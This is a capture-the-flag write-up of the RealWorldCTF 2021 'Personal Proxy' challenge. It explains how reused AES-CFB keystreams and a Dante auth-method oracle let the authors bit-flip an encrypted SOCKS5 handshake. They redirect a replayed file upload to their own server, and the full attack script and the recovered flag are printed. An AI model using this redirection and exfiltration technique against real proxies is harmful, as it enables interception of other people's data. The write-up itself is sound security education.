Personal Proxy
To access the internet I setup a personal socks proxy using open-source software, and a tunnel with strong password is used to make it secure.
Here is my proxy config file and a network traffic captured when uploading my secret file to personal storage center. I do not believe anyone could read those encrypted bytes.
NOTE: Bruteforce NOT required!!! Please be gentle.
We are provided realworldctf2021_personalproxy.zip
Recon
The challenge authors are hosting a "ShadowTunnel" instance on 13.52.88.46:50000
. The code can be found here:
- source : /snail007/shadowtunnel/blob/master/core/st.go
- deps source /snail007/goproxy/commit/6339e1ff53a789fca81ffe2506988a5189db7c9
From the Dockerfile
, we know that connections are routed to 127.0.0.1:61080
, which is a Dante Socks5 proxy daemon.
The challenge gives us a .pcap
and the description mentions "network traffic captured
when uploading my secret file to personal storage center", so the contents of this "secret file"
is most likely the flag, but we don't know the network protocol involved.
- We don't know the password to ShadowTunnel listening on
:50000
so we can't connect to it. - We might be able to replay the network data from the
.pcap
- The traffic contains (at least) a Socks handshake
Attack ideas
Replay attack w/ modifications to ciphertext
It may be possible to get the proxy to proxy the exact stream to a machine that we control. So the idea would be to:
- Modify the ciphertext (from inspecting the source we know that it is
aes-192-cfb
so we have some control on how it decrypts) so that the IP address in the SOCKS5 handshake is one we control. - Replay the first TCP flow in the pcap with the modified ciphertext overlayed on it.
(Quick note regarding 1.
CFB XORs plaintext with AES output to produce the final ciphertext for a given block. This means that if you know the plaintext for that block, you can XOR some carefully chosen bytes into the ciphertext to produce a different plaintext after decryption! The caveat is that due to the way CFB works, the block after it will turn into garbage upon decryption.)
This will lead to a single corrupted block after the block that we modify, which may, however, not be really an issue for us. We need two conditions to clear this:
- We can somehow infer or guess the original IP address the connection was made out to - that is the IP address of the "personal storage server"
- SOCKS allows us to send arbitrary data after the handshake and would not cause us grief in terms of protocol metadata. Now if it would allow us to simply build a TCP stream, it may basically allow us to do what we want (spoiler: it turns out SOCKS doesn't care what you send after the handshake)
So we set about doing this. First we extracted the encrypted TCP streams from the pcap. From analysis, we notice that the server/client handshake fit entirely in the first ciphertext block:
| AUTH | | CONNREQ | | AFTER |
C: 7805cba2 092b82ceeb89060ae06c 7ec2f5a654c86b20842b791c1a53a60938320f6854f6aca247b925c630db5de0ed ...
S: 7807 cea30c2b2eda2b239cf1 b7787add84f00cd68875511996a4e50545fcb39eaec1dbe067c9b8c2976e199cc5 ...
CC_1 = 7805cba2092b82ceeb89060ae06c7ec2
CS_1 = 7807cea30c2b2eda2b239cf1b7787add
FULL FIRST BLOCK IS HANDSHAKE + CONN INFO + SOME DATA AFTER
Keep in mind that BOUND IP is also returned in the CONNREQ reply
Now here's an interesting observation: we initially thought that the client and server would use different key/iv pairs for encrypting their sending streams, but based on the above, it looks like they're reusing the key/IV! This is important because it means that if we can guess enough bytes of the server's response to the client, we can then use that to decrypt part of the client stream.
Can we get danted to give us some info back on a bad IP address guess and therefore guess the original IP address in that fashion? We turned to Wikipedia to tell us what a SOCKS5 handshake looks like.
A client starts the handshake by sending 0x05
to the server (for SOCKS ver. 5), followed by 1 byte denoting the number of auth methods it's going to propose, followed by that many auth method identifiers (each 1 byte).
A common first message is 05020001
, supporting auth methods 00
and 01
, whatever they are (something like no auth and user/pw iirc).
The server then responds with the SOCKS version, and a 1-byte status code, where 00
means all is well. So the 'success' response is 0500
.
Then, the client does a connection request, which Wikipedia explains quite concisely:
Client connection request VER CMD RSV DSTADDR DSTPORT
Byte Count 1 1 1 Variable 2
VER
SOCKS version (0x05)
CMD
command code:
0x01: establish a TCP/IP stream connection
0x02: establish a TCP/IP port binding
0x03: associate a UDP port
RSV
reserved, must be 0x00
DSTADDR
destination address, see the address structure above.
DSTPORT
port number in a network byte order
where DSTADDR
is
SOCKS5 address TYPE ADDR
Byte Count 1 variable
TYPE
type of the address. One of:
0x01: IPv4 address
0x03: Domain name
0x04: IPv6 address
ADDR
the address data that follows. Depending on type:
4 bytes for IPv4 address
1 byte of name length followed by 1–255 bytes for the domain name
16 bytes for IPv6 address
By looking at the length of this message in our pcap, we know that we're dealing with an ipv4 address.
Also, from wiki, response packet to a post auth request from server has the BOUNDADDR
returned, in the following format:
VER STATUS RSV BNDADDR BNDPORT
Byte Count 1 1 1 variable 2
VER
SOCKS version (0x05)
STATUS
status code:
0x00: request granted
0x01: general failure
0x02: connection not allowed by ruleset
0x03: network unreachable
0x04: host unreachable
0x05: connection refused by destination host
0x06: TTL expired
0x07: command not supported / protocol error
0x08: address type not supported
RSV
reserved, must be 0x00
BNDADDR
server bound address, in the "SOCKS5 address" format specified above
BNDPORT
server bound port number in a network byte order
Damn, SOCKS handshakes are pretty simple!
At this point, we could guess enough of the first block of the server plaintext to obtain the key stream and XOR that with the client plaintext to obtain part of the DESTADDR. While not shown here because we don't have the notes handy, it simply involved us looking at Wikipedia to figure out what the response bytes should be, and xoring that into the ciphertext that we have.
However, this was not enough. We could not obtain the final two bytes of the DESTADDR IP, let alone the port. We needed something a bit better.
Attack
Next we set up a danted
SOCKS proxy locally, and looked at the traffic, to see if there was something more that we could guess.
During this, we noticed that if we tell dante to expect X auth methods, it then just gobbles up X bytes as long as the one supported method (00
) is in there:
from pwn import *
conn = remote('172.17.0.2', 61080)
#VERSION | NR OF AUTH METHODS | AUTH METHOD IDENTIFIERS
conn.send(b'\x05\x04\xff\xff\xff\x00')
#what do we get back :D
r = conn.recv()
print(hexdump(r))
Outputs:
00000000 05 00
00000002
As said, 00 means the request was accepted. Additionally, if we only advertise unsupported auth methods, the server will respond with 0x05ff
for FAT FAILURE.
It turns out that we could use this as an oracle for the first client ciphertext block as follows:
- If we want to guess byte N of this block, craft a SOCKS5 handshake advertising N-2 auth methods (e.g.
0508
to guess byte 10) - Set all bytes between the NRAUTH byte and N to something else than 0x00 (e.g.
0508 ffff ffff ffff ff
) - Now, repeat until the server responds with
0x0500
(acceptance)- Append a byte \(B\) (that you haven't tried yet) to our crafted handshake
- XOR our handshake with the keystream to obtain a valid ciphertext
- Send this to the server
- Once the server replies with
0x0500
, we know that the keystream byte at position N must be the byte we just appended, because the plaintext must have turned into00
(no auth method). All that remains is XORing this with the original ciphertext and voila, there's our plaintext byte.
Long story short (AKA I lost the code), we performed the above oracle attack to obtain the full IP address and port that the client was trying to connect to: 192.168.31.64:8000
. Next, we simply spun up a Hetzner cloud box that listened on port 8000, crafted our own handshake that connected to our own IP, and appended remainder of the ciphertext to see those juicy secrets.
Exhibit A: The final attack code:
from pwn import *
CORR = b'\x78\x07'
CT = b'\x7e\xc2\xf5\xa6\x54\xc8\x6b\x20\x84\x2b\x79\x1c\x1a\x53\xa6\x09\x38\x32\x0f\x68\x54\xf6\xac\xa2\x47\xb9\x25\xc6\x30\xdb\x5d\xe0\xed\x48\x9d\xca\x44\xa7\x5b\x3c\xf4\x8c\x14\xc2\x00\xc5\xbf\x2e\xe2\x71\x32\xd8\x02\x90\x5d\xf1\x5f\x4e\xda\x52\x8c\xd7\xe4\x58\x5f\x49\x5c\x22\x40\x25\x05\xd6\x19\xf7\x81\x9b\xaa\x1c\x54\x62\x51\x06\xd5\x76\x7d\x62\xdb\x32\xe2\x44\x08\xf9\x4a\x2c\x44\x30\xdb\x00\x89\x7c\x42\xff\x20\xdb\xa2\xe8\xc6\xcf\x69\x86\xfd\x1f\x1a\xc8\x88\xc1\x94\x6b\xbb\x65\xcd\xc6\x14\x38\xf0\x10\xd5\x32\x62\xf9\x3a\x67\x23\xc4\x56\x8a\xb4\x9b\x97\x41\xca\x8c\x56\xe7\xb8\xaa\x9a\xca\xfe\x5f\xcd\x36\x7b\xd7\x90\xd2\x46\xe4\x24\x60\xb9\x64\x7d\xe8\x84\x4d\x4f\xfd\x57\x30\x44\xa9\xd9\x1d\xa1\xef\xaf\xc8\xe3\xdf\xa6\xfc\xf4\x44\x28\x53\x50\x38\x24\x53\x93\x2b\x04\xf8\x42\x9d\xae\xfb\x58\x46\xd4\xc2\x01\x9c\xfe\xe0\xf1\x11\x8b\xa3\xe8\xbe\x21\xdd\xc0\xee\xb3\x63\x22\xa6\x91\x3e\x6f\x60\xbd\x2b\xe5\x9a\x62\xf4\x40\x89\x35\x99\xbf\xc3\x19\x5e\x25\x78\xae\x1f\xf2\x60\x88\x72\x6c\xe5\x73\x9e\x90\x40\x71\x01\x38\xae\xfe\xe3\x4c\x27\x55\x2e\x8e\x0f\x62\xa6\xc8\xd3\x05\x42\xa4\x30\x77\xba\xef\x9a\x17\x2a\x3e\x0b\xab\xc9\xaf\x33\x1d\x17\xe0\xc4\x70\x4d\x9f\x0c\x76\x42\xd4\x60\x30\x08\xc1\x99\x00\x21\xb9\xa5\xbd\x6b\x89\xc8\xc0\x9d\x60\xd8\xe7\x5a\xf0\x21\x09\x74\x09\x87\xf5\x8c\xae\x47\x13\xca\xd9\x2f\xef\x9c\x0c\xcc\x5a\x09\x45\x22\x90\x4e\xda\x75\x10\xbf\x94\x27\x6e\xef\x5c\xc8\x73\x62\xa5\x64\x77\xba\xe3\x80\x33\x69\xea\x4f\xf8\x1c\xd4\xdf\x24\x74\x82\x76\xa5\xa1\x77\x68\x41\xf4\x30\x93\x91\x52\x2e\xbf\x0f\xa2\x22\xf2\x0e\x2f\xe3\x3d\x6b\x81\xf3\x71\xe3\x54\x79\xba\x03\xa4\xd6\xb5\x39\xc4\x92\xaa\x92\xab\xda\x62\xcb\xb0\x16\x73\x04\xf2\x82\x6c\x03\x07\xb5\x6b\xa8\x51\x31\x63\xe4\x67\x78'
PT = b'\x05\x02\x00\x01\x05\x01\x00\x01\xc0\xa8\x1f\xef\x1f\x40'
STREAM = xor(b'\x78\x05\xcb\xa2\x09\x2b\x82\xce\xeb\x89\x06\x0a\xe0\x6c',
b'\x05\x02\x00\x01\x05\x01\x00\x01\xc0\xa8\x1f\xef\x1f\x40')
#inject our own ip
target_ip = b'\x31\x0c\x2e\x33' #49.12.46.51
modded = PT[:8] + target_ip + PT[12:]#b'\x00\x35'
mod_ct = xor(modded, STREAM)
print("Modded payload = ")
print(hexdump(mod_ct))
conn = remote('13.52.88.46', 50000)
print("Connected")
#send socks header
conn.send(mod_ct[:4]) # first 4 bytes is socks version + auth methods etc
#Did we get accepted? (should be 78 07)
r = conn.recv()
print(hexdump(r))
print("sending remainder of modded thingy")
print(hexdump(mod_ct[4:]))
conn.send(mod_ct[4:])
#The response to this should be 10 bytes long or so
r = conn.recv()
print(hexdump(r))
print("Time to send the ciphertext!!")
conn.send(CT)
print("byeeeeeeeeeeeee")
conn.close()
Flag
root@debian-2gb-fsn1-1:~# python sockserv.py
13.52.88.46 wrote:
0000 50 4F 87 C6 A0 EE BA 29 C4 70 FE 56 03 5F 91 0F PO.....).p.V._..
0016 5C C9 6F 73 74 3A 20 31 39 32 2E 31 36 38 2E 33 \.ost: 192.168.3
0032 31 2E 32 33 39 3A 38 30 30 30 0D 0A 55 73 65 72 1.239:8000..User
0048 2D 41 67 65 6E 74 3A 20 63 75 72 6C 2F 37 2E 37 -Agent: curl/7.7
0064 34 2E 30 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 4.0..Accept: */*
0080 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length
0096 3A 20 32 33 36 0D 0A 43 6F 6E 74 65 6E 74 2D 54 : 236..Content-T
0112 79 70 65 3A 20 6D 75 6C 74 69 70 61 72 74 2F 66 ype: multipart/f
0128 6F 72 6D 2D 64 61 74 61 3B 20 62 6F 75 6E 64 61 orm-data; bounda
0144 72 79 3D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D ry=-------------
0160 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 32 61 32 64 39 -----------2a2d9
0176 30 33 63 36 35 35 64 35 64 31 38 0D 0A 0D 0A 2D 03c655d5d18....-
0192 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D ----------------
0208 2D 2D 2D 2D 2D 2D 2D 2D 2D 32 61 32 64 39 30 33 ---------2a2d903
0224 63 36 35 35 64 35 64 31 38 0D 0A 43 6F 6E 74 65 c655d5d18..Conte
0240 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 nt-Disposition:
0256 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D form-data; name=
0272 22 66 69 6C 65 22 3B 20 66 69 6C 65 6E 61 6D 65 "file"; filename
0288 3D 22 66 6C 61 67 2E 74 78 74 22 0D 0A 43 6F 6E ="flag.txt"..Con
0304 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F tent-Type: text/
0320 70 6C 61 69 6E 0D 0A 0D 0A 52 57 43 54 46 7B 41 plain....RWCTF{A
0336 45 41 44 5F 31 73 5F 61 5F 6D 75 73 74 5F 77 68 EAD_1s_a_must_wh
0352 65 6E 5F 63 68 30 30 73 31 6E 67 5F 63 31 70 68 en_ch00s1ng_c1ph
0368 65 72 2D 6D 65 74 68 30 64 7D 0A 0D 0A 2D 2D 2D er-meth0d}...---
0384 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D ----------------
0400 2D 2D 2D 2D 2D 2D 2D 32 61 32 64 39 30 33 63 36 -------2a2d903c6
0416 35 35 64 35 64 31 38 2D 2D 55d5d18--
RWCTF{AEAD_1s_a_must_when_ch00s1ng_c1pher-meth0d}